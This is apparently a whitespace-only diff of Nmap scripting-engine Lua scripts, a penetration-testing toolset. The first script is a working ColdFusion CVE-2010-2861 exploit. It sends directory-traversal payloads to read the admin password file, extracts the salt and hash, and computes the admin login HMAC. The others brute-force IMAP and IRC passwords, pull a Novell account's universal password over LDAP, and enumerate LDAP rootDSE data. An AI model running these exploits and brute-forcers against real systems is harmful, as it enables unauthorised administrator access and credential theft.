description = [[
|
||||
Multiple directory traversal vulnerabilities in the administrator console
|
||||
in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the
|
||||
locale parameter]],
|
||||
references = {
|
||||
'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
|
||||
'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
|
||||
'http://osvdb.org/67047',
|
||||
'http://www.nessus.org/plugins/index.php?view=single&id=48340',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '08', day = '10'},
|
||||
},
|
||||
}
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
references = {
|
||||
'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
|
||||
'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
|
||||
'http://osvdb.org/67047',
|
||||
'http://www.nessus.org/plugins/index.php?view=single&id=48340',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2010', month = '08', day = '10'},
|
||||
},
|
||||
}
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
|
||||
-- Function to do the look up and return content
|
||||
local grabAndGrep = function(page)
|
||||
-- Do the HTTP GET request for the page
|
||||
local response = http.get(host, port, page)
|
||||
-- Check to see if we get a good page returned
|
||||
-- Is there no response?
|
||||
if ( not(response.status) ) then
|
||||
return false, "Received no response from HTTP server"
|
||||
end
|
||||
-- Function to do the look up and return content
|
||||
local grabAndGrep = function(page)
|
||||
-- Do the HTTP GET request for the page
|
||||
local response = http.get(host, port, page)
|
||||
-- Check to see if we get a good page returned
|
||||
-- Is there no response?
|
||||
if ( not(response.status) ) then
|
||||
return false, "Received no response from HTTP server"
|
||||
end
|
||||
|
||||
-- Is the response not an HTTP 200 code?
|
||||
if ( response.status ~= 200 ) then
|
||||
return false, ("The server returned an unexpected response (%d)"):format(response.status )
|
||||
end
|
||||
-- Is the response not an HTTP 200 code?
|
||||
if ( response.status ~= 200 ) then
|
||||
return false, ("The server returned an unexpected response (%d)"):format(response.status )
|
||||
end
|
||||
|
||||
-- Now check the body for our strings
|
||||
if ( response.body ) then
|
||||
local saltcontent = response.body:match("salt.*value=\"(%d+)")
|
||||
local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
|
||||
-- Now check the body for our strings
|
||||
if ( response.body ) then
|
||||
local saltcontent = response.body:match("salt.*value=\"(%d+)")
|
||||
local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
|
||||
|
||||
-- If a page has both the salt and the password in it then the exploit has been successful
|
||||
if ( saltcontent and hashcontent ) then
|
||||
vuln.state = vulns.STATE.EXPLOIT
|
||||
-- Generate HMAC as this is what the web application needs for authentication as admin
|
||||
local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
|
||||
--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
|
||||
local result = {
|
||||
("HMAC: %s"):format(hmaccontent),
|
||||
("Salt: %s"):format(saltcontent),
|
||||
("Hash: %s"):format(hashcontent)
|
||||
}
|
||||
return true, result
|
||||
end
|
||||
end
|
||||
return false, "Not vulnerable"
|
||||
end
|
||||
-- If a page has both the salt and the password in it then the exploit has been successful
|
||||
if ( saltcontent and hashcontent ) then
|
||||
vuln.state = vulns.STATE.EXPLOIT
|
||||
-- Generate HMAC as this is what the web application needs for authentication as admin
|
||||
local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
|
||||
--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
|
||||
local result = {
|
||||
("HMAC: %s"):format(hmaccontent),
|
||||
("Salt: %s"):format(saltcontent),
|
||||
("Hash: %s"):format(hashcontent)
|
||||
}
|
||||
return true, result
|
||||
end
|
||||
end
|
||||
return false, "Not vulnerable"
|
||||
end
|
||||
|
||||
local exploits = {
|
||||
['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
|
||||
['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
|
||||
['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
|
||||
['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
|
||||
}
|
||||
local exploits = {
|
||||
['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
|
||||
['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
|
||||
['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
|
||||
['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
|
||||
}
|
||||
|
||||
local results = {}
|
||||
for prod, exploit in pairs(exploits) do
|
||||
local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
|
||||
if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
|
||||
if ( "string" == type(result) ) then
|
||||
result = { result }
|
||||
end
|
||||
result.name = prod
|
||||
table.insert(results, result )
|
||||
end
|
||||
end
|
||||
vuln.extra_info=stdnse.format_output(true, results)
|
||||
return vuln_report:make_output(vuln)
|
||||
local results = {}
|
||||
for prod, exploit in pairs(exploits) do
|
||||
local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
|
||||
if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
|
||||
if ( "string" == type(result) ) then
|
||||
result = { result }
|
||||
end
|
||||
result.name = prod
|
||||
table.insert(results, result )
|
||||
end
|
||||
end
|
||||
vuln.extra_info=stdnse.format_output(true, results)
|
||||
return vuln_report:make_output(vuln)
|
||||
end
|
||||
|
||||
@@ -46,98 +46,98 @@ ConnectionPool = {}
|
||||
Driver =
|
||||
{
|
||||
|
||||
-- Creates a new driver instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param pool an instance of the ConnectionPool
|
||||
new = function(self, host, port, pool)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new driver instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param pool an instance of the ConnectionPool
|
||||
new = function(self, host, port, pool)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Connects to the server (retrieves a connection from the pool)
|
||||
connect = function( self )
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( not(self.helper) ) then
|
||||
self.helper = imap.Helper:new( self.host, self.port )
|
||||
self.helper:connect()
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
return true
|
||||
end,
|
||||
-- Connects to the server (retrieves a connection from the pool)
|
||||
connect = function( self )
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( not(self.helper) ) then
|
||||
self.helper = imap.Helper:new( self.host, self.port )
|
||||
self.helper:connect()
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
-- Attempts to login to the server
|
||||
-- @param username string containing the username
|
||||
-- @param password string containing the password
|
||||
-- @return status true on success, false on failure
|
||||
-- @return brute.Error on failure and brute.Account on success
|
||||
login = function( self, username, password )
|
||||
local status, err = self.helper:login( username, password, mech )
|
||||
if ( status ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( err:match("^ERROR: Failed to .* data$") ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
local err = brute.Error:new( err )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
-- Attempts to login to the server
|
||||
-- @param username string containing the username
|
||||
-- @param password string containing the password
|
||||
-- @return status true on success, false on failure
|
||||
-- @return brute.Error on failure and brute.Account on success
|
||||
login = function( self, username, password )
|
||||
local status, err = self.helper:login( username, password, mech )
|
||||
if ( status ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( err:match("^ERROR: Failed to .* data$") ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
local err = brute.Error:new( err )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
-- Disconnects from the server (release the connection object back to
|
||||
-- the pool)
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
-- Disconnects from the server (release the connection object back to
|
||||
-- the pool)
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
-- Connects to the server and retrieves the capabilities so that
|
||||
-- authentication mechanisms can be determined
|
||||
local helper = imap.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
if (not(status)) then return "\n ERROR: Failed to connect to the server." end
|
||||
local status, capabilities = helper:capabilities()
|
||||
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
|
||||
-- Connects to the server and retrieves the capabilities so that
|
||||
-- authentication mechanisms can be determined
|
||||
local helper = imap.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
if (not(status)) then return "\n ERROR: Failed to connect to the server." end
|
||||
local status, capabilities = helper:capabilities()
|
||||
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
|
||||
|
||||
-- check if an authentication mechanism was provided or try
|
||||
-- try them in the mech_prio order
|
||||
local mech_prio = stdnse.get_script_args("imap-brute.auth")
|
||||
mech_prio = ( mech_prio and { mech_prio } ) or
|
||||
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
||||
-- check if an authentication mechanism was provided or try
|
||||
-- try them in the mech_prio order
|
||||
local mech_prio = stdnse.get_script_args("imap-brute.auth")
|
||||
mech_prio = ( mech_prio and { mech_prio } ) or
|
||||
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
|
||||
|
||||
-- iterates over auth mechanisms until a valid mechanism is found
|
||||
for _, m in ipairs(mech_prio) do
|
||||
if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
|
||||
mech = "LOGIN"
|
||||
break
|
||||
elseif ( capabilities["AUTH=" .. m] ) then
|
||||
mech = m
|
||||
break
|
||||
end
|
||||
end
|
||||
-- iterates over auth mechanisms until a valid mechanism is found
|
||||
for _, m in ipairs(mech_prio) do
|
||||
if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
|
||||
mech = "LOGIN"
|
||||
break
|
||||
elseif ( capabilities["AUTH=" .. m] ) then
|
||||
mech = m
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
-- if no mechanisms were found, abort
|
||||
if ( not(mech) ) then
|
||||
return "\n ERROR: No suitable authentication mechanism was found"
|
||||
end
|
||||
-- if no mechanisms were found, abort
|
||||
if ( not(mech) ) then
|
||||
return "\n ERROR: No suitable authentication mechanism was found"
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
|
||||
for _, helper in pairs(ConnectionPool) do helper:close() end
|
||||
for _, helper in pairs(ConnectionPool) do helper:close() end
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -38,54 +38,54 @@ portrule = shortport.port_or_service({6666,6667,6697,6679},{"irc","ircs"})
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port, opts)
|
||||
local o = { host = host, port = port, opts = opts or {} }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, opts)
|
||||
local o = { host = host, port = port, opts = opts or {} }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
-- the high timeout should take delays from ident into consideration
|
||||
local s, r, opts, _ = comm.tryssl(self.host,
|
||||
self.port,
|
||||
'',
|
||||
{ timeout = self.opts.timeout or 10000 } )
|
||||
if ( not(s) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
self.socket = s
|
||||
return true
|
||||
end,
|
||||
connect = function(self)
|
||||
-- the high timeout should take delays from ident into consideration
|
||||
local s, r, opts, _ = comm.tryssl(self.host,
|
||||
self.port,
|
||||
'',
|
||||
{ timeout = self.opts.timeout or 10000 } )
|
||||
if ( not(s) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
self.socket = s
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function(self, _, password)
|
||||
local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
|
||||
local status, data = self.socket:send(msg)
|
||||
local success = false
|
||||
login = function(self, _, password)
|
||||
local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
|
||||
local status, data = self.socket:send(msg)
|
||||
local success = false
|
||||
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( data )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( data )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
repeat
|
||||
local status, response = self.socket:receive_buf("\r?\n", false)
|
||||
-- we check for the RPL_WELCOME message, if we don't see it,
|
||||
-- we failed to authenticate
|
||||
if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
|
||||
success = true
|
||||
end
|
||||
until(not(status))
|
||||
repeat
|
||||
local status, response = self.socket:receive_buf("\r?\n", false)
|
||||
-- we check for the RPL_WELCOME message, if we don't see it,
|
||||
-- we failed to authenticate
|
||||
if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
|
||||
success = true
|
||||
end
|
||||
until(not(status))
|
||||
|
||||
if (success) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new("Incorrect password")
|
||||
end,
|
||||
if (success) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new("Incorrect password")
|
||||
end,
|
||||
|
||||
disconnect = function(self) return self.socket:close() end,
|
||||
disconnect = function(self) return self.socket:close() end,
|
||||
}
|
||||
|
||||
local function random_nick()
|
||||
@@ -97,48 +97,48 @@ local function random_nick()
|
||||
end
|
||||
|
||||
local function needsPassword(host, port)
|
||||
local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick())
|
||||
local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
|
||||
local err, code
|
||||
local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick())
|
||||
local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
|
||||
local err, code
|
||||
|
||||
repeat
|
||||
local status, response = s:receive_buf("\r?\n", false)
|
||||
if ( status ) then
|
||||
code = tonumber(response:match("^:.-%s(%d*)%s"))
|
||||
-- break after first code
|
||||
if (code == 001 ) then
|
||||
err = "The IRC service does not require authentication"
|
||||
break
|
||||
elseif( code ) then
|
||||
break
|
||||
end
|
||||
end
|
||||
until(not(status))
|
||||
if (code == 464) then
|
||||
return true
|
||||
end
|
||||
if ( code ) then
|
||||
return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
|
||||
else
|
||||
return false, "Failed to check password requirements"
|
||||
end
|
||||
repeat
|
||||
local status, response = s:receive_buf("\r?\n", false)
|
||||
if ( status ) then
|
||||
code = tonumber(response:match("^:.-%s(%d*)%s"))
|
||||
-- break after first code
|
||||
if (code == 001 ) then
|
||||
err = "The IRC service does not require authentication"
|
||||
break
|
||||
elseif( code ) then
|
||||
break
|
||||
end
|
||||
end
|
||||
until(not(status))
|
||||
if (code == 464) then
|
||||
return true
|
||||
end
|
||||
if ( code ) then
|
||||
return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
|
||||
else
|
||||
return false, "Failed to check password requirements"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, err = needsPassword(host, port)
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(false, err)
|
||||
end
|
||||
local status, err = needsPassword(host, port)
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(false, err)
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options.passonly = true
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options.passonly = true
|
||||
local result
|
||||
status, result = engine:start()
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
|
||||
end
|
||||
|
||||
@@ -54,86 +54,86 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
||||
|
||||
function action(host,port)
|
||||
|
||||
local username = stdnse.get_script_args("ldap-novell-getpass.username")
|
||||
local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
|
||||
local account = stdnse.get_script_args("ldap-novell-getpass.account")
|
||||
local username = stdnse.get_script_args("ldap-novell-getpass.username")
|
||||
local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
|
||||
local account = stdnse.get_script_args("ldap-novell-getpass.account")
|
||||
|
||||
if ( not(username) ) then
|
||||
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
|
||||
end
|
||||
if ( not(account) ) then
|
||||
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
|
||||
else
|
||||
-- do some basic account validation
|
||||
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
|
||||
return "\n ERROR: The account argument should be specified as:\n" ..
|
||||
" \"CN=name,OU=orgunit,O=org\""
|
||||
end
|
||||
end
|
||||
if ( not(username) ) then
|
||||
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
|
||||
end
|
||||
if ( not(account) ) then
|
||||
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
|
||||
else
|
||||
-- do some basic account validation
|
||||
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
|
||||
return "\n ERROR: The account argument should be specified as:\n" ..
|
||||
" \"CN=name,OU=orgunit,O=org\""
|
||||
end
|
||||
end
|
||||
|
||||
-- In order to discover what protocol to use (SSL/TCP) we need to send a
|
||||
-- few bytes to the server. An anonymous bind should do it
|
||||
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
|
||||
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
|
||||
if ( not(socket) ) then
|
||||
return "\n ERROR: Failed to connect to LDAP server"
|
||||
end
|
||||
-- In order to discover what protocol to use (SSL/TCP) we need to send a
|
||||
-- few bytes to the server. An anonymous bind should do it
|
||||
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
|
||||
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
|
||||
if ( not(socket) ) then
|
||||
return "\n ERROR: Failed to connect to LDAP server"
|
||||
end
|
||||
|
||||
local status, errmsg = ldap.bindRequest( socket, {
|
||||
version = 3,
|
||||
username = username,
|
||||
password = password
|
||||
}
|
||||
)
|
||||
local status, errmsg = ldap.bindRequest( socket, {
|
||||
version = 3,
|
||||
username = username,
|
||||
password = password
|
||||
}
|
||||
)
|
||||
|
||||
if ( not(status) ) then return errmsg end
|
||||
if ( not(status) ) then return errmsg end
|
||||
|
||||
-- Start encoding the NMAS Get Password Request
|
||||
local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
|
||||
local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
|
||||
-- Add a trailing zero to the account name
|
||||
local data = ldap.encode( account .. '\0' )
|
||||
-- Start encoding the NMAS Get Password Request
|
||||
local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
|
||||
local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
|
||||
-- Add a trailing zero to the account name
|
||||
local data = ldap.encode( account .. '\0' )
|
||||
|
||||
-- The following section could do with more documentation
|
||||
-- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
|
||||
-- encode the account name as a sequence
|
||||
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } )
|
||||
data = ldap.encode( { _ldaptype = '81', data } )
|
||||
data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
|
||||
data = ldap.encode( { _ldaptype = '77', data } )
|
||||
-- The following section could do with more documentation
|
||||
-- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
|
||||
-- encode the account name as a sequence
|
||||
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } )
|
||||
data = ldap.encode( { _ldaptype = '81', data } )
|
||||
data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
|
||||
data = ldap.encode( { _ldaptype = '77', data } )
|
||||
|
||||
-- encode the whole extended request as a sequence
|
||||
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
|
||||
-- encode the whole extended request as a sequence
|
||||
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
|
||||
|
||||
status = socket:send(data)
|
||||
if ( not(status) ) then return "ERROR: Failed to send request" end
|
||||
status = socket:send(data)
|
||||
if ( not(status) ) then return "ERROR: Failed to send request" end
|
||||
|
||||
status, data = socket:receive()
|
||||
if ( not(status) ) then return data end
|
||||
socket:close()
|
||||
status, data = socket:receive()
|
||||
if ( not(status) ) then return data end
|
||||
socket:close()
|
||||
|
||||
local _, response = ldap.decode(data)
|
||||
local _, response = ldap.decode(data)
|
||||
|
||||
-- make sure the result code was a success
|
||||
local rescode = ( #response >= 2 ) and response[2]
|
||||
local respname = ( #response >= 5 ) and response[5]
|
||||
-- make sure the result code was a success
|
||||
local rescode = ( #response >= 2 ) and response[2]
|
||||
local respname = ( #response >= 5 ) and response[5]
|
||||
|
||||
if ( rescode ~= 0 ) then
|
||||
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured"
|
||||
return "\n ERROR: " .. errmsg
|
||||
end
|
||||
if ( rescode ~= 0 ) then
|
||||
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured"
|
||||
return "\n ERROR: " .. errmsg
|
||||
end
|
||||
|
||||
-- make sure we get a NMAS Get Password Response back from the server
|
||||
if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
|
||||
-- make sure we get a NMAS Get Password Response back from the server
|
||||
if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
|
||||
|
||||
local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
|
||||
local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
|
||||
|
||||
if ( universal_pw ) then
|
||||
local output = {}
|
||||
table.insert(output, ("Account: %s"):format(account))
|
||||
table.insert(output, ("Password: %s"):format(universal_pw))
|
||||
return stdnse.format_output(true, output)
|
||||
else
|
||||
return "\n ERROR: No password was found"
|
||||
end
|
||||
if ( universal_pw ) then
|
||||
local output = {}
|
||||
table.insert(output, ("Account: %s"):format(account))
|
||||
table.insert(output, ("Password: %s"):format(universal_pw))
|
||||
return stdnse.format_output(true, output)
|
||||
else
|
||||
return "\n ERROR: No password was found"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -100,58 +100,58 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
||||
|
||||
function action(host,port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local status, searchResEntries, req, result, opt
|
||||
local socket = nmap.new_socket()
|
||||
local status, searchResEntries, req, result, opt
|
||||
|
||||
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
|
||||
-- An anonymous bind should do it
|
||||
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
|
||||
local _
|
||||
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
|
||||
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
|
||||
-- An anonymous bind should do it
|
||||
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
|
||||
local _
|
||||
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
|
||||
|
||||
if not socket then
|
||||
return
|
||||
end
|
||||
if not socket then
|
||||
return
|
||||
end
|
||||
|
||||
-- We close and re-open the socket so that the anonymous bind does not distract us
|
||||
socket:close()
|
||||
status = socket:connect(host, port, opt)
|
||||
socket:set_timeout(10000)
|
||||
-- We close and re-open the socket so that the anonymous bind does not distract us
|
||||
socket:close()
|
||||
status = socket:connect(host, port, opt)
|
||||
socket:set_timeout(10000)
|
||||
|
||||
-- Searching for an empty argument list against LDAP on W2K3 returns all attributes
|
||||
-- This is not the case for OpenLDAP, so we do a search for an empty attribute list
|
||||
-- Then we compare the results against some known and expected returned attributes
|
||||
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
|
||||
status, searchResEntries = ldap.searchRequest( socket, req )
|
||||
-- Searching for an empty argument list against LDAP on W2K3 returns all attributes
|
||||
-- This is not the case for OpenLDAP, so we do a search for an empty attribute list
|
||||
-- Then we compare the results against some known and expected returned attributes
|
||||
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
|
||||
status, searchResEntries = ldap.searchRequest( socket, req )
|
||||
|
||||
-- Check if we were served all the results or not?
|
||||
if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
|
||||
not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
|
||||
-- Check if we were served all the results or not?
|
||||
if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
|
||||
not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
|
||||
|
||||
-- The namingContexts was not there, try to query all attributes instead
|
||||
-- Attributes extracted from Windows 2003 and complemented from RFC
|
||||
local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
|
||||
"dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
|
||||
"isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
|
||||
"rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
|
||||
"supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
|
||||
"supportedSASLMechanisms", "altServer", "supportedExtension"}
|
||||
-- The namingContexts was not there, try to query all attributes instead
|
||||
-- Attributes extracted from Windows 2003 and complemented from RFC
|
||||
local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
|
||||
"dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
|
||||
"isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
|
||||
"rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
|
||||
"supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
|
||||
"supportedSASLMechanisms", "altServer", "supportedExtension"}
|
||||
|
||||
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
|
||||
status, searchResEntries = ldap.searchRequest( socket, req )
|
||||
end
|
||||
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
|
||||
status, searchResEntries = ldap.searchRequest( socket, req )
|
||||
end
|
||||
|
||||
if not status then
|
||||
socket:close()
|
||||
return
|
||||
end
|
||||
if not status then
|
||||
socket:close()
|
||||
return
|
||||
end
|
||||
|
||||
result = ldap.searchResultToTable( searchResEntries )
|
||||
socket:close()
|
||||
result = ldap.searchResultToTable( searchResEntries )
|
||||
socket:close()
|
||||
|
||||
-- if taken a way and ldap returns a single result, it ain't shown....
|
||||
result.name = "LDAP Results"
|
||||
-- if taken a way and ldap returns a single result, it ain't shown....
|
||||
result.name = "LDAP Results"
|
||||
|
||||
return stdnse.format_output(true, result )
|
||||
